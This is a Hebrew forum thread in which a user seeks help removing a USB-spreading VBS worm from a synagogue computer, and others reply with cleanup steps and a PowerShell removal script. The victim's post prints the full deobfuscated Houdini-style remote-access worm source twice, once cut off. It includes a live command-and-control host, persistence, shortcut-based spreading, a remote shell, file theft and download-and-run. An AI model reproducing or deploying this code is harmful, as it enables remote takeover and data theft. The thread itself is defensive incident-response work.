              המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

              cfopuserC מנותק
              cfopuserC מנותק
              cfopuser
              כתב נערך לאחרונה על ידי
              #9

              @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

              או לכבות vbs דרך הריג'יסטרי.

              מתכנת חובבמ תגובה 1 תגובה אחרונה
              1
              • cfopuserC cfopuser

                @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

                או לכבות vbs דרך הריג'יסטרי.

                מתכנת חובבמ מנותק
                מתכנת חובבמ מנותק
                מתכנת חובב
                מדריכים
                כתב נערך לאחרונה על ידי
                #10

                @cfopuser בשביל מה?
                אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                cfopuserC תגובה 1 תגובה אחרונה
                0
                • מתכנת חובבמ מתכנת חובב

                  @cfopuser בשביל מה?
                  אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

                  cfopuserC מנותק
                  cfopuserC מנותק
                  cfopuser
                  כתב נערך לאחרונה על ידי
                  #11

                  @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                  @cfopuser בשביל מה?

                  לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                  0
                  • ר רנדומלי

                    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                    cmd /c hrxxryydxo.vbs && start explorer [file name]
                    

                    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                    

                    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                    לאחר פיענוח הקידוד התקבל הקוד הבא:
                    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                    e
                    '<[ recoder : houdini (c) skype : houdini-fx ]>
                    
                    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                    
                    host = "khattab.no-ip.biz"
                    port = 5550
                    installdir = "%temp%"
                    lnkfile = true
                    lnkfolder = true
                    
                    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                    
                    dim shellobj 
                    set shellobj = wscript.createobject("wscript.shell")
                    dim filesystemobj
                    set filesystemobj = createobject("scripting.filesystemobject")
                    dim httpobj
                    set httpobj = createobject("msxml2.xmlhttp")
                    
                    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                    
                    installname = wscript.scriptname
                    startup = shellobj.specialfolders ("startup") & "\"
                    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                    spliter = "<" & "|" & ">"
                    sleep = 5000 
                    dim response
                    dim cmd
                    dim param
                    info = ""
                    usbspreading = ""
                    startdate = ""
                    dim oneonce
                    
                    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                    on error resume next
                    
                    instance
                    while true
                    
                    install
                    
                    response = ""
                    response = post ("is-ready","")
                    cmd = split (response,spliter)
                    select case cmd (0)
                    case "excecute"
                          param = cmd (1)
                          execute param
                    case "update"
                          param = cmd (1)
                          oneonce.close
                          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                          oneonce.write param
                          oneonce.close
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                          wscript.quit 
                    case "uninstall"
                          uninstall
                    case "send"
                          download cmd (1),cmd (2)
                    case "site-send"
                          sitedownloader cmd (1),cmd (2)
                    case "recv"
                          param = cmd (1)
                          upload (param)
                    case  "enum-driver"
                          post "is-enum-driver",enumdriver  
                    case  "enum-faf"
                          param = cmd (1)
                          post "is-enum-faf",enumfaf (param)
                    case  "enum-process"
                          post "is-enum-process",enumprocess   
                    case  "cmd-shell"
                          param = cmd (1)
                          post "is-cmd-shell",cmdshell (param)  
                    case  "delete"
                          param = cmd (1)
                          deletefaf (param) 
                    case  "exit-process"
                          param = cmd (1)
                          exitprocess (param) 
                    case  "sleep"
                          param = cmd (1)
                          sleep = eval (param)        
                    end select
                    
                    wscript.sleep sleep
                    
                    wend
                    
                    sub install
                    on error resume next
                    dim lnkobj
                    dim filename
                    dim foldername
                    dim fileicon
                    dim foldericon
                    
                    upstart
                    for each drive in filesystemobj.drives
                    
                    if  drive.isready = true then
                    if  drive.freespace  > 0 then
                    if  drive.drivetype  = 1 then
                        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                        end if
                        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                            if not lnkfile then exit for
                            if  instr (file.name,".") then
                                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                    file.attributes = 2+4
                                    if  ucase (file.name) <> ucase (installname) then
                                        filename = split(file.name,".")
                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                        lnkobj.windowstyle = 7
                                        lnkobj.targetpath = "cmd.exe"
                                        lnkobj.workingdirectory = ""
                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                        if  instr (fileicon,",") = 0 then
                                            lnkobj.iconlocation = file.path
                                        else 
                                            lnkobj.iconlocation = fileicon
                                        end if
                                        lnkobj.save()
                                    end if
                                end if
                            end if
                        next
                        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                            if not lnkfolder then exit for
                            folder.attributes = 2+4
                            foldername = folder.name
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                            if  instr (foldericon,",") = 0 then
                                lnkobj.iconlocation = folder.path
                            else 
                                lnkobj.iconlocation = foldericon
                            end if
                            lnkobj.save()
                        next
                    end If
                    end If
                    end if
                    next
                    err.clear
                    end sub
                    
                    sub uninstall
                    on error resume next
                    dim filename
                    dim foldername
                    
                    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                    filesystemobj.deletefile startup & installname ,true
                    filesystemobj.deletefile wscript.scriptfullname ,true
                    
                    for  each drive in filesystemobj.drives
                    if  drive.isready = true then
                    if  drive.freespace  > 0 then
                    if  drive.drivetype  = 1 then
                        for  each file in filesystemobj.getfolder ( drive.path & "\").files
                             on error resume next
                             if  instr (file.name,".") then
                                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                     file.attributes = 0
                                     if  ucase (file.name) <> ucase (installname) then
                                         filename = split(file.name,".")
                                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                     else
                                         filesystemobj.deletefile (drive.path & "\" & file.name)
                                     end If
                                 else
                                     filesystemobj.deletefile (file.path) 
                                 end if
                             end if
                         next
                         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                             folder.attributes = 0
                         next
                    end if
                    end if
                    end if
                    next
                    wscript.quit
                    end sub
                    
                    function post (cmd ,param)
                    
                    post = param
                    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                    httpobj.setrequestheader "user-agent:",information
                    httpobj.send param
                    post = httpobj.responsetext
                    end function
                    
                    function information
                    on error resume next
                    if  inf = "" then
                        inf = hwid & spliter 
                        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                    
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set os = root.execquery ("select * from win32_operatingsystem")
                        for each osinfo in os
                           inf = inf & osinfo.caption & spliter  
                           exit for
                        next
                        inf = inf & "plus" & spliter
                        inf = inf & security & spliter
                        inf = inf & usbspreading
                        information = inf  
                    else
                        information = inf
                    end if
                    end function
                    
                    sub upstart ()
                    on error resume Next
                    
                    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                    
                    end sub
                    
                    function hwid
                    on error resume next
                    
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set disks = root.execquery ("select * from win32_logicaldisk")
                    for each disk in disks
                        if  disk.volumeserialnumber <> "" then
                            hwid = disk.volumeserialnumber
                            exit for
                        end if
                    next
                    end function
                    
                    function security 
                    on error resume next
                    
                    security = ""
                    
                    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                    for each objitem in colitems
                        versionstr = split (objitem.version,".")
                    next
                    versionstr = split (colitems.version,".")
                    osversion = versionstr (0) & "."
                    for  x = 1 to ubound (versionstr)
                         osversion = osversion &  versionstr (i)
                    next
                    osversion = eval (osversion)
                    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                    
                    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                    
                    for each objantivirus in colantivirus
                        security  = security  & objantivirus.displayname & " ."
                    next
                    if security  = "" then security  = "nan-av"
                    end function
                    
                    function instance
                    on error resume next
                    
                    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                    if usbspreading = "" then
                       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                          usbspreading = "true - " & date
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                       else
                          usbspreading = "false - " & date
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                    
                       end if
                    end If
                    
                    
                    upstart
                    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                        wscript.quit 
                    end If
                    err.clear
                    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                    if  err.number > 0 then wscript.quit
                    end function
                    
                    sub sitedownloader (fileurl,filename)
                    
                    strlink = fileurl
                    strsaveto = installdir & filename
                    set objhttpdownload = createobject("msxml2.xmlhttp" )
                    objhttpdownload.open "get", strlink, false
                    objhttpdownload.send
                    
                    set objfsodownload = createobject ("scripting.filesystemobject")
                    if  objfsodownload.fileexists (strsaveto) then
                        objfsodownload.deletefile (strsaveto)
                    end if
                     
                    if objhttpdownload.status = 200 then
                       dim  objstreamdownload
                       set  objstreamdownload = createobject("adodb.stream")
                       with objstreamdownload
                            .type = 1 
                            .open
                            .write objhttpdownload.responsebody
                            .savetofile strsaveto
                            .close
                       end with
                       set objstreamdownload = nothing
                    end if
                    if objfsodownload.fileexists(strsaveto) then
                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                    end if 
                    end sub
                    
                    sub download (fileurl,filedir)
                    
                    if filedir = "" then 
                       filedir = installdir
                    end if
                    
                    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                    set objhttpdownload = createobject("msxml2.xmlhttp")
                    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                    objhttpdownload.send ""
                         
                    set objfsodownload = createobject ("scripting.filesystemobject")
                    if  objfsodownload.fileexists (strsaveto) then
                        objfsodownload.deletefile (strsaveto)
                    end if
                    if  objhttpdownload.status = 200 then
                        dim  objstreamdownload
                        set  objstreamdownload = createobject("adodb.stream")
                        with objstreamdownload 
                             .type = 1 
                             .open
                             .write objhttpdownload.responsebody
                             .savetofile strsaveto
                             .close
                        end with
                        set objstreamdownload  = nothing
                    end if
                    if objfsodownload.fileexists(strsaveto) then
                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                    end if 
                    end sub
                    
                    function upload (fileurl)
                    
                    dim  httpobj,objstreamuploade,buffer
                    set  objstreamuploade = createobject("adodb.stream")
                    with objstreamuploade 
                         .type = 1 
                         .open
                         .loadfromfile fileurl
                         buffer = .read
                         .close
                    end with
                    set objstreamdownload = nothing
                    set httpobj = createobject("msxml2.xmlhttp")
                    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                    httpobj.send buffer
                    end function
                    
                    function enumdriver ()
                    
                    for  each drive in filesystemobj.drives
                    if   drive.isready = true then
                         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                    end if
                    next
                    end Function
                    
                    function enumfaf (enumdir)
                    
                    enumfaf = enumdir & spliter
                    for  each folder in filesystemobj.getfolder (enumdir).subfolders
                         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                    next
                    
                    for  each file in filesystemobj.getfolder (enumdir).files
                         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                    
                    next
                    end function
                    
                    function enumprocess ()
                    
                    on error resume next
                    
                    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                    set colitems = objwmiservice.execquery("select * from win32_process",,48)
                    
                    dim objitem
                    for each objitem in colitems
                        enumprocess = enumprocess & objitem.name & "|"
                        enumprocess = enumprocess & objitem.processid & "|"
                        enumprocess = enumprocess & objitem.executablepath & spliter
                    next
                    end function
                    
                    sub exitprocess (pid)
                    on error resume next
                    
                    shellobj.run "taskkill /F /T /PID " & pid,7,true
                    end sub
                    
                    sub deletefaf (url)
                    on error resume next
                    
                    filesystemobj.deletefile url
                    filesystemobj.deletefolder url
                    
                    end sub
                    
                    function cmdshell (cmd)
                    
                    dim httpobj,oexec,readallfromany
                    
                    set oexec = shellobj.exec ("%comspec% /c " & cmd)
                    if not oexec.stdout.atendofstream then
                       readallfromany = oexec.stdout.readall
                    elseif not oexec.stderr.atendofstream then
                       readallfromany = oexec.stderr.readall
                    else 
                       readallfromany = ""
                    end if
                    
                    cmdshell = readallfromany
                    end function
                    
                    מתכנת חובבמ מנותק
                    מתכנת חובבמ מנותק
                    מתכנת חובב
                    מדריכים
                    כתב נערך לאחרונה על ידי
                    #12

                    @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

                    $vName = "hrxxryydxo"
                    $vFile = "$vName.vbs"
                    
                    Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
                    
                    # 1. עצירת התהליך החי במחשב
                    Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
                        Where-Object CommandLine -match $vName | 
                        Invoke-CimMethod -MethodName Terminate | Out-Null
                    Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
                    
                    # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
                    Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                    Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
                    Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
                    Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
                    
                    # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
                    $tempDir = [System.IO.Path]::GetTempPath()
                    $startupDir = [Environment]::GetFolderPath('Startup')
                    Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
                    Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
                    Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
                    
                    
                    Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
                    
                    # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
                    $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
                    
                    if ($usbDrives.Count -eq 0) {
                        Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
                    } else {
                        foreach ($drive in $usbDrives) {
                            $driveLetter = $drive.DeviceID + "\" 
                            Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
                    
                            # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                            Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                            Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
                    
                            # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                            Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                                if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                                    $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                                    $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                                }
                            }
                            Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
                        }
                    }
                    
                    Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
                    

                    לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                    תגובה 1 תגובה אחרונה
                    0
                    • cfopuserC cfopuser

                      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                      @cfopuser בשביל מה?

                      לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

                      מתכנת חובבמ מנותק
                      מתכנת חובבמ מנותק
                      מתכנת חובב
                      מדריכים
                      כתב נערך לאחרונה על ידי מתכנת חובב
                      #13

                      @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
                      זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
                      עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                      תגובה 1 תגובה אחרונה
                      2
                      • ר רנדומלי

                        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                        cmd /c hrxxryydxo.vbs && start explorer [file name]
                        

                        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                        

                        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                        לאחר פיענוח הקידוד התקבל הקוד הבא:
                        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                        e
                        '<[ recoder : houdini (c) skype : houdini-fx ]>
                        
                        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        host = "khattab.no-ip.biz"
                        port = 5550
                        installdir = "%temp%"
                        lnkfile = true
                        lnkfolder = true
                        
                        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                        
                        dim shellobj 
                        set shellobj = wscript.createobject("wscript.shell")
                        dim filesystemobj
                        set filesystemobj = createobject("scripting.filesystemobject")
                        dim httpobj
                        set httpobj = createobject("msxml2.xmlhttp")
                        
                        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                        
                        installname = wscript.scriptname
                        startup = shellobj.specialfolders ("startup") & "\"
                        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                        spliter = "<" & "|" & ">"
                        sleep = 5000 
                        dim response
                        dim cmd
                        dim param
                        info = ""
                        usbspreading = ""
                        startdate = ""
                        dim oneonce
                        
                        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                        on error resume next
                        
                        instance
                        while true
                        
                        install
                        
                        response = ""
                        response = post ("is-ready","")
                        cmd = split (response,spliter)
                        select case cmd (0)
                        case "excecute"
                              param = cmd (1)
                              execute param
                        case "update"
                              param = cmd (1)
                              oneonce.close
                              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                              oneonce.write param
                              oneonce.close
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                              wscript.quit 
                        case "uninstall"
                              uninstall
                        case "send"
                              download cmd (1),cmd (2)
                        case "site-send"
                              sitedownloader cmd (1),cmd (2)
                        case "recv"
                              param = cmd (1)
                              upload (param)
                        case  "enum-driver"
                              post "is-enum-driver",enumdriver  
                        case  "enum-faf"
                              param = cmd (1)
                              post "is-enum-faf",enumfaf (param)
                        case  "enum-process"
                              post "is-enum-process",enumprocess   
                        case  "cmd-shell"
                              param = cmd (1)
                              post "is-cmd-shell",cmdshell (param)  
                        case  "delete"
                              param = cmd (1)
                              deletefaf (param) 
                        case  "exit-process"
                              param = cmd (1)
                              exitprocess (param) 
                        case  "sleep"
                              param = cmd (1)
                              sleep = eval (param)        
                        end select
                        
                        wscript.sleep sleep
                        
                        wend
                        
                        sub install
                        on error resume next
                        dim lnkobj
                        dim filename
                        dim foldername
                        dim fileicon
                        dim foldericon
                        
                        upstart
                        for each drive in filesystemobj.drives
                        
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                            end if
                            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                if not lnkfile then exit for
                                if  instr (file.name,".") then
                                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                        file.attributes = 2+4
                                        if  ucase (file.name) <> ucase (installname) then
                                            filename = split(file.name,".")
                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                            lnkobj.windowstyle = 7
                                            lnkobj.targetpath = "cmd.exe"
                                            lnkobj.workingdirectory = ""
                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
